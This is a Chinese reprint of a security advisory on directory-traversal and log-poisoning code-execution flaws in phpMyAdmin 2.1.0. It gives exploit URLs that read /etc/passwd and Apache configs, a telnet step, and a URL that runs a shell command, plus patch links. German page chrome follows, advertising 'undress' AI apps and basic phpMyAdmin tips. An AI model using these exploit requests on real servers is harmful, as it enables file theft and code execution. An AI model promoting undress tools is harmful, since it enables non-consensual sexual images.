phpMyAdmin2.1.0存在两个漏洞_PHP教程
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在:
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。
首先,得到 Apache 配置文件以便知道日志文件存储位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日志放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到 端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后,攻击者能将任意 PHP 代码上传
现在,可以用 Apache 用户身份远程运行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统:
phpMyAdmin 2.1.0
解决方案:
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自:52w.net

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

Der Primärschlüssel einer Tabelle besteht aus einer oder mehreren Spalten, die jeden Datensatz in der Tabelle eindeutig identifizieren. Hier sind die Schritte zum Festlegen eines Primärschlüssels: Melden Sie sich bei phpMyAdmin an. Wählen Sie Datenbank und Tabelle aus. Markieren Sie die Spalte, die Sie als Primärschlüssel verwenden möchten. Klicken Sie auf „Änderungen speichern“. Primärschlüssel bieten Datenintegrität, Suchgeschwindigkeit und Vorteile bei der Beziehungsmodellierung.

Die WordPress-Datenbank ist in einer MySQL-Datenbank untergebracht, die alle Website-Daten speichert und auf die über das Dashboard Ihres Hosting-Anbieters, FTP oder phpMyAdmin zugegriffen werden kann. Der Datenbankname bezieht sich auf die URL oder den Benutzernamen der Website und der Zugriff erfordert die Verwendung von Datenbankanmeldeinformationen, einschließlich Name, Benutzername, Passwort und Hostname, die normalerweise in der Datei „wp-config.php“ gespeichert sind.

Das Hinzufügen eines Fremdschlüssels in phpMyAdmin kann durch die folgenden Schritte erreicht werden: Wählen Sie die übergeordnete Tabelle aus, die den Fremdschlüssel enthält. Bearbeiten Sie die übergeordnete Tabellenstruktur und fügen Sie unter „Spalten“ neue Spalten hinzu. Aktivieren Sie Fremdschlüsseleinschränkungen und wählen Sie die referenzierende Tabelle und den Schlüssel aus. Legen Sie Aktualisierungs-/Löschvorgänge fest. Änderungen speichern.

Der Standardbenutzername und das Passwort für PHPMyAdmin sind root und leer. Aus Sicherheitsgründen wird empfohlen, das Standardkennwort zu ändern. Methode zum Ändern des Passworts: 1. Melden Sie sich bei PHPMyAdmin an. 2. Wählen Sie „Privilegien“ 3. Geben Sie das neue Passwort ein und speichern Sie es. Wenn Sie Ihr Passwort vergessen, können Sie es zurücksetzen, indem Sie den MySQL-Dienst stoppen und die Konfigurationsdatei bearbeiten: 1. Fügen Sie die Zeile „skip-grant-tables“ hinzu. 2. Melden Sie sich an der MySQL-Befehlszeile an und setzen Sie das Root-Passwort zurück 4. Löschen Sie die Zeile „skip-grant-tables“ und starten Sie den MySQL-Dienst neu.

Schritte zum Löschen einer Datentabelle in phpMyAdmin: Wählen Sie die Datenbank und die Datentabelle aus. Klicken Sie auf die Option „Löschen“.

Standardspeicherort für PHPMyAdmin-Protokolldateien: Linux/Unix/macOS:/var/log/phpmyadminWindows: C:\xampp\phpMyAdmin\logs\ Zweck der Protokolldatei: Fehlerbehebung bei der Überwachungssicherheit

Gründe und Lösungen für den von phpMyAdmin verweigerten Zugriff: Authentifizierung fehlgeschlagen: Überprüfen Sie, ob Benutzername und Passwort korrekt sind. Serverkonfigurationsfehler: Passen Sie die Firewall-Einstellungen an und prüfen Sie, ob der Datenbank-Port korrekt ist. Berechtigungsproblem: Gewähren von Benutzern Zugriff auf die Datenbank. Sitzungszeitüberschreitung: Aktualisieren Sie die Browserseite und stellen Sie die Verbindung wieder her. phpMyAdmin-Konfigurationsfehler: Überprüfen Sie die Konfigurationsdatei und Dateiberechtigungen, um sicherzustellen, dass die erforderlichen Apache-Module aktiviert sind. Serverproblem: Warten Sie eine Weile und versuchen Sie es erneut oder wenden Sie sich an Ihren Hosting-Anbieter.

Verwandte Ansichten finden Sie im Untermenü „Ansichten“ auf der Registerkarte „Struktur“ in phpMyAdmin. Um darauf zuzugreifen, wählen Sie einfach die Datenbank aus, klicken Sie auf die Registerkarte „Struktur“ und dann auf das Untermenü „Ansicht“.
